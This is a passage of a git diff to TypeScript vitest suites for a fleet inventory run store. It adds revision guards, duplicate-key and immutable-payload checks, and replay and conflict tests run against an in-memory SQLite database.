}).hideResults, + ), + ); case 'inventory-finalize-convergence': return Response.json(await inventoryFinalizeConvergence(env.DB)); case 'inventory-generation-readback': diff --git a/packages/fleet-control/test/fleet-inventory-advance.test.ts b/packages/fleet-control/test/fleet-inventory-advance.test.ts index f017ac42..b1d0f920 100644 --- a/packages/fleet-control/test/fleet-inventory-advance.test.ts +++ b/packages/fleet-control/test/fleet-inventory-advance.test.ts @@ -31,7 +31,11 @@ import { type FleetInventoryStagedFact, type FleetInventoryStagedRow, type FleetInventoryStageInput, + FleetInventoryStateError, fleetInventoryOptionsDigest, + fleetInventoryRunRecordFromUnknown, + fleetInventoryStagedFactFromUnknown, + fleetInventoryStagedRowFromUnknown, initialFleetInventoryStage, } from '../src/fleet-inventory-state.js'; import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; @@ -60,6 +64,7 @@ import { const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; const FOREIGN_OPERATION_ID = '123e4567-e89b-42d3-a456-4266141740ff'; const MAX_PROVIDER_REQUESTS = 1_000; +const MAX_FIXTURE_CONTINUATIONS = 200; const STUB_OPTIONS: CollectFleetInventoryOptions = { hostRoutingKvId: 'hosts', @@ -219,28 +224,90 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { : store.runs.get(operationId); }, async commitChunk(input) { + const intended = fleetInventoryRunRecordFromUnknown(input.runRecord); + const rows = input.rows.map(fleetInventoryStagedRowFromUnknown); + const facts = input.facts.map(fleetInventoryStagedFactFromUnknown); + const conflict = () => + new Error('fleet inventory chunk lost its revision guard'); + if ( + intended.operationId !== input.operationId || + intended.state !== 'staging' || + intended.progress.revision !== input.expectedRevision + 1 + ) { + throw conflict(); + } + const rowKey = (row: FleetInventoryStagedRow) => + `${row.kind}:${row.ordinal}`; + const factKey = (fact: FleetInventoryStagedFact) => + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`; + if ( + new Set(rows.map(rowKey)).size !== rows.length || + new Set(facts.map(factKey)).size !== facts.length + ) { + throw new FleetInventoryStateError(); + } const run = store.runs.get(input.operationId); - if (!run || run.progress.revision !== input.expectedRevision) { - throw new Error('fleet inventory chunk lost its revision guard'); + if (!run) { + throw new Error( + `no fleet inventory run for operation '${input.operationId}'`, + ); } const generation = run.progress.generation; - store.rows.set(generation, [ - ...(store.rows.get(generation) ?? []), - ...input.rows, - ]); - store.facts.set(generation, [ - ...(store.facts.get(generation) ?? []), - ...input.facts, - ]); - store.runs.set(input.operationId, input.runRecord); - return input.runRecord; + const canWrite = + !store.leaseLost && + run.state === 'staging' && + run.progress.revision === input.expectedRevision && + generation === intended.progress.generation && + run.optionsDigest === intended.optionsDigest; + if (!canWrite && JSON.stringify(run) !== JSON.stringify(intended)) { + throw conflict(); + } + const storedRows = new Map( + (store.rows.get(generation) ?? []).map((row) => [rowKey(row), row]), + ); + const storedFacts = new Map( + (store.facts.get(generation) ?? []).map((fact) => [ + factKey(fact), + fact, + ]), + ); + for (const row of rows) { + const stored = storedRows.get(rowKey(row)); + if (!stored && !canWrite) throw conflict(); + if ( + stored && + JSON.stringify(stored.payload) !== JSON.stringify(row.payload) + ) { + throw new Error('fleet inventory staged payload is immutable'); + } + storedRows.set(rowKey(row), row); + } + for (const fact of facts) { + const stored = storedFacts.get(factKey(fact)); + if (!stored && !canWrite) throw conflict(); + if ( + stored && + JSON.stringify(stored.payload) !== JSON.stringify(fact.payload) + ) { + throw new Error('fleet inventory staged payload is immutable'); + } + storedFacts.set(factKey(fact), fact); + } + if (canWrite) { + store.rows.set(generation, [...storedRows.values()]); + store.facts.set(generation, [...storedFacts.values()]); + store.runs.set(input.operationId, intended); + } + return canWrite ? intended : run; }, async finalizeRun(input) { const run = store.runs.get(input.operationId); if (!run || run.progress.revision !== input.expectedRevision) { throw new Error('fleet inventory finalize lost its revision guard'); } - const ref: FleetInventoryGenerationRef = { + const ref: FleetInventoryGenerationRef = store.refs.get( + run.progress.generation, + ) ?? { generation: run.progress.generation, operationId: run.operationId, finalizedAtMs: 1_700_000_000_000, @@ -249,8 +316,15 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { }; store.runs.set(input.operationId, { ...run, state: 'finalized' }); store.refs.set(ref.generation, ref); - store.latestGeneration = ref.generation; - store.activeOperationId = undefined; + if ( + (store.activeOperationId === undefined || + store.activeOperationId === input.operationId) && + (store.latestGeneration === undefined || + store.latestGeneration < ref.generation) + ) { + store.latestGeneration = ref.generation; + store.activeOperationId = undefined; + } return ref; }, async failRun(input) { @@ -323,7 +397,13 @@ async function runToCompletion( options: options.runOptions ?? STUB_OPTIONS, }, }); - while (result.status === 'pending') { + for (let chunk = 0; result.status === 'pending'; chunk += 1) { + if (chunk >= MAX_FIXTURE_CONTINUATIONS) { + const persisted = await options.store.readRunByOperation(operationId); + throw new Error( + `runToCompletion exceeded ${MAX_FIXTURE_CONTINUATIONS} continuations: token=${JSON.stringify(result.token)}, progress=${JSON.stringify(persisted?.progress)}`, + ); + } result = await advanceFleetInventory({ ...options, action: { kind: 'continue', token: result.token }, @@ -382,9 +462,13 @@ async function boundedWithClient( maxProviderRequests, maxStagedRowsPerChunk: 2_000, }); - while (result.status === 'pending') { - chunks += 1; + for (; result.status === 'pending'; chunks += 1) { const persisted = store.runs.get(OPERATION_ID); + if (chunks >= MAX_FIXTURE_CONTINUATIONS) { + throw new Error( + `boundedWithClient exceeded ${MAX_FIXTURE_CONTINUATIONS} continuations: token=${JSON.stringify(result.token)}, progress=${JSON.stringify(persisted?.progress)}`, + ); + } if (persisted) executed.push(persisted.progress.stage); result = await advanceFleetInventory({ context, @@ -893,6 +977,39 @@ describe('bounded fleet inventory advance', () => { ).rejects.toBeInstanceOf(FleetInventoryRunTokenFutureError); }); + it('rejects a future token before finalized fallback head repair', async () => { + const store = new FakeInventoryRunStore(); + const context = stubContext(); + const completed = await runToCompletion({ + context, + store, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + store.hiddenFromLease.add(OPERATION_ID); + store.activeOperationId = OPERATION_ID; + store.latestGeneration = undefined; + const before = { + activeOperationId: store.activeOperationId, + latestGeneration: store.latestGeneration, + }; + const providerCalls = context.inputs.length; + const outcome = await advanceFleetInventory({ + context, + store, + action: { + kind: 'continue', + token: { ...completed.token, revision: completed.token.revision + 1 }, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }).catch((error: unknown) => error); + expect({ + activeOperationId: store.activeOperationId, + latestGeneration: store.latestGeneration, + }).toEqual(before); + expect(context.inputs).toHaveLength(providerCalls); + expect(outcome).toBeInstanceOf(FleetInventoryRunTokenFutureError); + }); + it('completes an unknown lease operation whose persisted run is finalized', async () => { const store = new FakeInventoryRunStore(); const completed = await runToCompletion({ @@ -913,6 +1030,76 @@ describe('bounded fleet inventory advance', () => { expect(replay).toEqual(completed); }); + it.each([ + 'original', + 'stale', + 'fallback', + 'start', + ] as const)('preserves the fixture latest generation and newer head through the %s finalized retry', async (retry) => { + const store = new FakeInventoryRunStore(); + const completed = await runToCompletion({ + context: stubContext(), + store, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + await runToCompletion({ + context: stubContext(), + store, + operationId: FOREIGN_OPERATION_ID, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + const newerOperationId = '123e4567-e89b-42d3-a456-426614174002'; + const context = stubContext(); + await advanceFleetInventory({ + context, + store, + action: { + kind: 'start', + operationId: newerOperationId, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + if (retry === 'fallback') store.hiddenFromLease.add(OPERATION_ID); + const before = structuredClone({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + refs: store.refs, + latestGeneration: store.latestGeneration, + activeOperationId: store.activeOperationId, + nextGeneration: store.nextGeneration, + }); + expect(before.latestGeneration).toBe(2); + expect(before.activeOperationId).toBe(newerOperationId); + const replay = await advanceFleetInventory({ + context, + store, + action: + retry === 'start' + ? { kind: 'start', operationId: OPERATION_ID, options: STUB_OPTIONS } + : { + kind: 'continue', + token: { + ...completed.token, + revision: retry === 'stale' ? 0 : completed.token.revision, + }, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }); + expect({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + refs: store.refs, + latestGeneration: store.latestGeneration, + activeOperationId: store.activeOperationId, + nextGeneration: store.nextGeneration, + }).toEqual(before); + expect(replay).toEqual(completed); + expect(context.inputs).toHaveLength(1); + }); + it('refuses a token for an operation the store has never seen', async () => { await expect( advanceFleetInventory({ @@ -1220,3 +1407,269 @@ describe('bounded fleet inventory advance', () => { expect(staged).toContain('MAINTENANCE_ADMIN'); }); }); + +describe('inventory commit fixture acceptance', () => { + it.each([ + 'row', + 'fact', + ] as const)('keeps immutable %s conflicts and duplicate keys from advancing fixture state', async (kind) => { + const store = new FakeInventoryRunStore(); + const options = canonicalFleetInventoryRunOptions(STUB_OPTIONS); + await store.withAccountInventoryLease(async (lease) => { + const run = await lease.startRun({ + operationId: OPERATION_ID, + options, + optionsDigest: fleetInventoryOptionsDigest(options), + }); + const row: FleetInventoryStagedRow = { + kind: 'meta', + ordinal: 0, + payload: { name: 'first' }, + }; + const fact: FleetInventoryStagedFact = { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 0, + payload: { name: 'first' }, + }; + const rows = [row]; + const facts = [fact]; + const intended: FleetInventoryRunRecord = { + ...run, + progress: { + ...run.progress, + revision: 1, + stagedCounts: { ...run.progress.stagedCounts, meta: 1 }, + factCount: 1, + }, + }; + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + rows, + facts, + }; + await lease.commitChunk(input); + const next = { + ...intended, + progress: { ...intended.progress, revision: 2 }, + }; + const before = structuredClone({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }); + const conflicting = await lease + .commitChunk({ + ...input, + expectedRevision: 1, + runRecord: next, + rows: + kind === 'row' + ? [ + { kind: 'meta', ordinal: 1, payload: {} }, + { ...row, payload: { name: 'different' } }, + ] + : rows, + facts: + kind === 'fact' + ? [ + { ...fact, factOrdinal: 1 }, + { ...fact, payload: { name: 'different' } }, + ] + : facts, + }) + .catch((error: unknown) => error); + expect({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }).toEqual(before); + expect(conflicting).toBeInstanceOf(Error); + const duplicate = await lease + .commitChunk({ + ...input, + expectedRevision: 1, + runRecord: next, + rows: kind === 'row' ? [...rows, ...rows] : rows, + facts: kind === 'fact' ? [...facts, ...facts] : facts, + }) + .catch((error: unknown) => error); + expect({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }).toEqual(before); + expect(duplicate).toMatchObject({ + name: 'FleetInventoryStateError', + message: 'fleet inventory state is malformed', + }); + }); + }); + + it('supports exact fixture replay and restaging but rejects a different intended record', async () => { + const store = new FakeInventoryRunStore(); + const options = canonicalFleetInventoryRunOptions(STUB_OPTIONS); + await store.withAccountInventoryLease(async (lease) => { + const run = await lease.startRun({ + operationId: OPERATION_ID, + options, + optionsDigest: fleetInventoryOptionsDigest(options), + }); + const rows: FleetInventoryStagedRow[] = [ + { kind: 'meta', ordinal: 0, payload: { name: 'first' } }, + ]; + const facts: FleetInventoryStagedFact[] = [ + { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 0, + payload: { name: 'first' }, + }, + ]; + const intended: FleetInventoryRunRecord = { + ...run, + progress: { + ...run.progress, + revision: 1, + stagedCounts: { ...run.progress.stagedCounts, meta: 1 }, + factCount: 1, + }, + }; + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: intended, + rows, + facts, + }; + await lease.commitChunk(input); + const before = structuredClone({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }); + const replay = await lease + .commitChunk(input) + .catch((error: unknown) => error); + expect({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }).toEqual(before); + expect(replay).toEqual(intended); + const different = await lease + .commitChunk({ + ...input, + runRecord: { ...intended, updatedAt: '2026-09-08T00:00:00.000Z' }, + }) + .catch((error: unknown) => error); + expect({ + runs: store.runs, + rows: store.rows, + facts: store.facts, + }).toEqual(before); + expect(different).toBeInstanceOf(Error); + const next = { + ...intended, + progress: { ...intended.progress, revision: 2 }, + }; + await lease.commitChunk({ + ...input, + runRecord: next, + expectedRevision: 1, + }); + expect(store.rows.get(1)).toEqual(rows); + expect(store.facts.get(1)).toEqual(facts); + expect(store.runs.get(OPERATION_ID)).toEqual(next); + }); + }); + + it('refuses provider output if the run fails before the chunk commit', async () => { + const store = new FakeInventoryRunStore(); + let failed: FleetInventoryRunRecord | undefined; + const context: FleetInventoryProviderContext = { + async advanceStage(input) { + await store.withAccountInventoryLease((lease) => + lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: input.progress.revision, + reason: 'operator-abandoned', + }), + ); + failed = structuredClone(store.runs.get(OPERATION_ID)); + return { + rows: [{ kind: 'meta', ordinal: 0, payload: {} }], + facts: [], + nextStage: { step: 'finalize' }, + providerRequests: 1, + diagnostics: [], + }; + }, + }; + const result = await advanceFleetInventory({ + store, + context, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }).catch((error: unknown) => error); + expect(failed?.state).toBe('failed'); + expect(store.runs.get(OPERATION_ID)).toEqual(failed); + expect(store.rows.size).toBe(0); + expect(store.facts.size).toBe(0); + expect(result).toBeInstanceOf(Error); + }); +}); + +describe('inventory coordinator duplicate emissions', () => { + it.each([ + 'row', + 'fact', + ] as const)('refuses duplicate %s emissions before progress', async (kind) => { + const store = new FakeInventoryRunStore(); + let initial: FleetInventoryRunRecord | undefined; + const row: FleetInventoryStagedRow = { + kind: 'meta', + ordinal: 0, + payload: {}, + }; + const fact: FleetInventoryStagedFact = { + deploymentOrdinal: 0, + factKind: 'secret-name', + factOrdinal: 0, + payload: { name: 'first' }, + }; + const context: FleetInventoryProviderContext = { + async advanceStage() { + initial = structuredClone(store.runs.get(OPERATION_ID)); + return { + rows: kind === 'row' ? [row, row] : [row], + facts: kind === 'fact' ? [fact, fact] : [fact], + nextStage: { step: 'finalize' }, + providerRequests: 1, + diagnostics: [], + }; + }, + }; + const result = await advanceFleetInventory({ + store, + context, + action: { + kind: 'start', + operationId: OPERATION_ID, + options: STUB_OPTIONS, + }, + maxProviderRequests: MAX_PROVIDER_REQUESTS, + }).catch((error: unknown) => error); + expect(initial?.state).toBe('staging'); + expect(store.runs.get(OPERATION_ID)).toEqual(initial); + expect(store.rows.size).toBe(0); + expect(store.facts.size).toBe(0); + expect(result).toBeInstanceOf(FleetInventoryStateError); + }); +}); diff --git a/packages/fleet-control/test/fleet-inventory-run-store.test.ts b/packages/fleet-control/test/fleet-inventory-run-store.test.ts index 01b1dae1..43735542 100644 --- a/packages/fleet-control/test/fleet-inventory-run-store.test.ts +++ b/packages/fleet-control/test/fleet-inventory-run-store.test.ts @@ -1,20 +1,24 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { D1FleetInventoryRunStore } from '../src/d1-fleet-inventory-run-store.js'; +import { advanceFleetInventory } from '../src/fleet-inventory-advance.js'; import { canonicalFleetInventoryRunOptions, emptyFleetInventoryRowCounts, FleetInventoryFindingValueError, type FleetInventoryLease, + type FleetInventoryProviderContext, type FleetInventoryRowKind, type FleetInventoryRunRecord, type FleetInventoryStage, type FleetInventoryStagedFact, type FleetInventoryStagedRow, + FleetInventoryStateError, fleetInventoryOptionsDigest, } from '../src/fleet-inventory-state.js'; import type { FleetStateDatabase } from '../src/state-store.js'; +import { deferred } from './fixtures/cloudflare-fetch-fixture.js'; interface SqliteStatement { all(...bindings: readonly unknown[]): Readonly>[]; @@ -42,15 +46,14 @@ function openSqlite(): SqliteDatabase { return new sqlite.DatabaseSync(':memory:'); } -/** - * Fake fleet state database port. It executes the store's real SQL, so every - * guard, `json_extract` comparison, and count subquery is exercised, and a - * batch is atomic exactly as the port contract promises. - */ class MemoryD1 implements FleetStateDatabase { readonly sqlite = openSqlite(); /** Statements the next batch drops after committing, for lost responses. */ hideBatchResults = false; + beforeBatch: (() => void) | undefined; + afterBatch: (() => void) | undefined; + beforeStatement: ((index: number) => void) | undefined; + batchCalls = 0; async query( sql: string, @@ -70,10 +73,17 @@ class MemoryD1 implements FleetStateDatabase { }>[], ): Promise>[])[]> { if (statements.length === 0) return []; + this.batchCalls += 1; + const beforeBatch = this.beforeBatch; + this.beforeBatch = undefined; + beforeBatch?.(); const results: Readonly>[][] = []; + const beforeStatement = this.beforeStatement; + this.beforeStatement = undefined; this.sqlite.exec('BEGIN IMMEDIATE'); try { for (const { sql, bindings = [] } of statements) { + beforeStatement?.(results.length); results.push(this.sqlite.prepare(sql).all(...bindings)); } this.sqlite.exec('COMMIT'); @@ -81,6 +91,9 @@ class MemoryD1 implements FleetStateDatabase { this.sqlite.exec('ROLLBACK'); throw error; } + const afterBatch = this.afterBatch; + this.afterBatch = undefined; + afterBatch?.(); if (this.hideBatchResults) { this.hideBatchResults = false; return results.map(() => []); @@ -230,6 +243,12 @@ async function refusal(operation: Promise): Promise { throw new Error('operation unexpectedly resolved'); } +function inventoryState(db: MemoryD1): unknown { + return TABLES.filter((table) => !table.endsWith('_leases')).map((table) => + db.sqlite.prepare(`SELECT * FROM ${table} ORDER BY rowid`).all(), + ); +} + describe('D1FleetInventoryRunStore', () => { it('creates the six inventory tables, verifies every column, and fails closed on drift', async () => { const db = new MemoryD1(); @@ -865,3 +884,1428 @@ describe('D1FleetInventoryRunStore', () => { expect(error).toBeInstanceOf(FleetInventoryFindingValueError); }); }); + +describe('inventory chunk identity and immutable staging', () => { + it.each([ + 'failed', + 'finalized', + 'different record', + ] as const)('refuses replay against a same-revision %s run before comparing payloads', async (state) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + const first = await lease.commitChunk(input); + if (state === 'failed') { + await lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + reason: 'operator-abandoned', + }); + } else if (state === 'finalized') { + await lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 1, + manifest: first.progress.stagedCounts, + factCount: first.progress.factCount, + }); + } + const intended = + state === 'different record' + ? { ...first, updatedAt: '2026-08-30T00:00:00.000Z' } + : first; + const before = inventoryState(db); + const result = await lease + .commitChunk({ ...input, runRecord: intended }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + const divergent = await lease + .commitChunk({ + ...input, + runRecord: intended, + rows: [stagedRow('registration', 0, { scriptName: 'divergent' })], + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(divergent).toEqual(result); + }); + }); + + it.each([ + 'row', + 'fact', + ] as const)('rolls back mixed siblings on an immutable %s conflict', async (kind) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const first = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + const newRow = stagedRow('registration', 1, { scriptName: 'sibling' }); + const newFact = stagedFact(0, 2); + const rows = + kind === 'row' + ? [newRow, stagedRow('registration', 0, { scriptName: 'divergent' })] + : [newRow]; + const facts = + kind === 'fact' + ? [newFact, { ...stagedFact(0, 0), payload: { name: 'divergent' } }] + : [newFact]; + const before = inventoryState(db); + const result = await lease + .commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 1, + runRecord: committed( + first, + [...DEFAULT_ROWS, newRow], + [...DEFAULT_FACTS, newFact], + ), + rows, + facts, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toMatchObject({ + code: 'ERR_SQLITE_ERROR', + message: expect.stringContaining('UNIQUE constraint failed'), + }); + }); + }); + + it.each([ + 'row', + 'fact', + ] as const)('requires exact serialized %s payload bytes', async (kind) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const rows = [stagedRow('meta', 0, { first: 1, second: 2 })]; + const facts = [{ ...stagedFact(0, 0), payload: { first: 1, second: 2 } }]; + const first = await lease.commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, rows, facts), + rows, + facts, + }); + const before = inventoryState(db); + const result = await lease + .commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 1, + runRecord: committed(first, rows, facts), + rows: + kind === 'row' + ? [stagedRow('meta', 0, { second: 2, first: 1 })] + : rows, + facts: + kind === 'fact' + ? [{ ...stagedFact(0, 0), payload: { second: 2, first: 1 } }] + : facts, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toMatchObject({ + message: expect.stringContaining('UNIQUE constraint failed'), + }); + }); + }); + + it.each([ + 'row exact', + 'row different', + 'fact exact', + 'fact different', + ] as const)('rejects duplicate keys before SQL: %s', async (variant) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const rows = [stagedRow('registration', 0, { name: 'first' })]; + const facts = [stagedFact(0, 0)]; + if (variant.startsWith('row')) + rows.push( + stagedRow('registration', 0, { + name: variant.endsWith('exact') ? 'first' : 'second', + }), + ); + else + facts.push({ + ...stagedFact(0, 0), + payload: variant.endsWith('exact') + ? stagedFact(0, 0).payload + : { name: 'second' }, + }); + const before = inventoryState(db); + const batches = db.batchCalls; + const result = await lease + .commitChunk({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, rows, facts), + rows, + facts, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(db.batchCalls).toBe(batches); + expect(result).toBeInstanceOf(FleetInventoryStateError); + expect(result).toMatchObject({ + name: 'FleetInventoryStateError', + message: 'fleet inventory state is malformed', + }); + }); + }); + + it.each([ + 'foreign account', + 'generation', + 'options', + 'missing run', + ] as const)('refuses the wrong target: %s', async (target) => { + const db = new MemoryD1(); + const store = newStore(db); + const started = await store.withAccountInventoryLease((lease) => + start(lease), + ); + const writer = + target === 'foreign account' ? newStore(db, 'account-secondary') : store; + await writer.withAccountInventoryLease(async (lease) => { + if (target === 'foreign account') await start(lease, SECOND_OPERATION_ID); + let intended = committed(started, DEFAULT_ROWS, DEFAULT_FACTS); + if (target === 'generation') + intended = { + ...intended, + progress: { ...intended.progress, generation: 99 }, + }; + if (target === 'options') + intended = { + ...intended, + options: OTHER_OPTIONS, + optionsDigest: OTHER_DIGEST, + }; + if (target === 'missing run') + intended = { ...intended, operationId: THIRD_OPERATION_ID }; + const before = inventoryState(db); + const result = await lease + .commitChunk({ + operationId: intended.operationId, + expectedRevision: 0, + runRecord: intended, + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + target === 'foreign account' || target === 'missing run' + ? `no fleet inventory run for operation '${intended.operationId}'` + : `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + }); + }); + + it.each([ + 'ordinary', + 'hidden results', + 'lost response', + ] as const)('accepts exact restaging and replay with %s', async (response) => { + const db = new MemoryD1(); + const store = newStore(db); + const lost = new Error('lost inventory response'); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + if (response === 'hidden results') db.hideBatchResults = true; + if (response === 'lost response') + db.afterBatch = () => { + throw lost; + }; + const result = await lease + .commitChunk(input) + .catch((error: unknown) => error); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual( + input.runRecord, + ); + expect(result).toEqual( + response === 'lost response' ? lost : input.runRecord, + ); + const before = inventoryState(db); + expect(await lease.commitChunk(input)).toEqual(input.runRecord); + expect(inventoryState(db)).toEqual(before); + const next = committed(input.runRecord, DEFAULT_ROWS, DEFAULT_FACTS); + expect( + await lease.commitChunk({ + ...input, + expectedRevision: 1, + runRecord: next, + }), + ).toEqual(next); + expect( + db.sqlite + .prepare( + 'SELECT payload FROM anchorage_fleet_inventory_rows ORDER BY rowid', + ) + .all(), + ).toEqual( + DEFAULT_ROWS.map((row) => ({ payload: JSON.stringify(row.payload) })), + ); + expect( + db.sqlite + .prepare( + 'SELECT payload FROM anchorage_fleet_inventory_deployment_facts ORDER BY rowid', + ) + .all(), + ).toEqual( + DEFAULT_FACTS.map((fact) => ({ + payload: JSON.stringify(fact.payload), + })), + ); + }); + }); + + it('captures validated input before awaiting the batch', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = structuredClone({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }); + const intended = structuredClone(input.runRecord); + db.hideBatchResults = true; + db.afterBatch = () => { + Object.assign(input.runRecord.progress, { generation: 99 }); + Object.assign(input.rows[0]?.payload ?? {}, { scriptName: 'changed' }); + Object.assign(input.facts[0]?.payload ?? {}, { name: 'changed' }); + }; + const result = await lease.commitChunk(input); + expect(await store.readRunByOperation(OPERATION_ID)).toEqual(intended); + expect(result).toEqual(intended); + }); + }); + + it.each([ + 'row', + 'fact', + ] as const)('does not converge with a missing or divergent %s payload', async (kind) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + const input = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS), + rows: DEFAULT_ROWS, + facts: DEFAULT_FACTS, + }; + await lease.commitChunk(input); + const table = + kind === 'row' + ? 'anchorage_fleet_inventory_rows' + : 'anchorage_fleet_inventory_deployment_facts'; + db.sqlite + .prepare(`UPDATE ${table} SET payload = ? WHERE rowid = 1`) + .all('{"different":true}'); + let before = inventoryState(db); + let result = await lease + .commitChunk(input) + .catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' staged rows diverge from the persisted generation`, + ), + ); + db.sqlite.prepare(`DELETE FROM ${table} WHERE rowid = 1`).all(); + before = inventoryState(db); + result = await lease.commitChunk(input).catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toEqual( + new Error( + `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`, + ), + ); + }); + }); +}); + +describe('inventory lifecycle physical identity', () => { + it.each([ + 'operation', + 'generation', + 'options', + ] as const)('refuses reads of inconsistent physical %s metadata', async (field) => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + const record = await store.readRunByOperation(OPERATION_ID); + if (!record) throw new Error('missing fixture run'); + const corrupt = + field === 'operation' + ? { ...record, operationId: SECOND_OPERATION_ID } + : field === 'generation' + ? { ...record, progress: { ...record.progress, generation: 99 } } + : { ...record, options: OTHER_OPTIONS, optionsDigest: OTHER_DIGEST }; + db.sqlite + .prepare( + 'UPDATE anchorage_fleet_inventory_runs SET run_record = ? WHERE operation_id = ?', + ) + .all(JSON.stringify(corrupt), OPERATION_ID); + const before = inventoryState(db); + const results = await Promise.all([ + store.readRunByOperation(OPERATION_ID).catch((error: unknown) => error), + store.latestFinalizedGeneration().catch((error: unknown) => error), + store.readFinalizedGeneration(1).catch((error: unknown) => error), + store + .pinGeneration({ generation: 1, pinnedBy: 'reader' }) + .catch((error: unknown) => error), + ]); + expect(inventoryState(db)).toEqual(before); + for (const result of results) + expect(result).toEqual( + new Error('fleet inventory generation 1 is corrupt'), + ); + }); + + it.each([ + { method: 'finalize', field: 'account_id', value: 'account-secondary' }, + { method: 'finalize', field: 'generation', value: 99 }, + { method: 'finalize', field: 'options_digest', value: OTHER_DIGEST }, + { method: 'fail', field: 'account_id', value: 'account-secondary' }, + { method: 'fail', field: 'generation', value: 99 }, + { method: 'fail', field: 'options_digest', value: OTHER_DIGEST }, + ])('does not $method a run whose physical $field changes after the read', async ({ + method, + field, + value, + }) => { + const db = new MemoryD1(); + const store = newStore(db); + await store.withAccountInventoryLease(async (lease) => { + const started = await start(lease); + let before: unknown; + db.beforeBatch = () => { + db.sqlite + .prepare( + `UPDATE anchorage_fleet_inventory_runs SET ${field} = ? WHERE operation_id = ?`, + ) + .all(value, OPERATION_ID); + before = inventoryState(db); + }; + const operation = + method === 'finalize' + ? lease.finalizeRun({ + operationId: OPERATION_ID, + expectedRevision: 0, + manifest: started.progress.stagedCounts, + factCount: 0, + }) + : lease.failRun({ + operationId: OPERATION_ID, + expectedRevision: 0, + reason: 'operator-abandoned', + }); + const result = await operation.catch((error: unknown) => error); + expect(inventoryState(db)).toEqual(before); + expect(result).toBeInstanceOf(Error); + }); + }); + + it('does not rewind the latest generation or clear a newer active run on finalize replay', async () => { + const db = new MemoryD1(); + const store = newStore(db); + await seedGeneration(store); + await seedGeneration(store, SECOND_OPERATION_ID); + await store.withAccountInventoryLease(async (lease) => { + await start(lease, THIRD_OPERATION_ID); + const before = inventoryState(db); + const ref = await lease.finalizeRun({ + 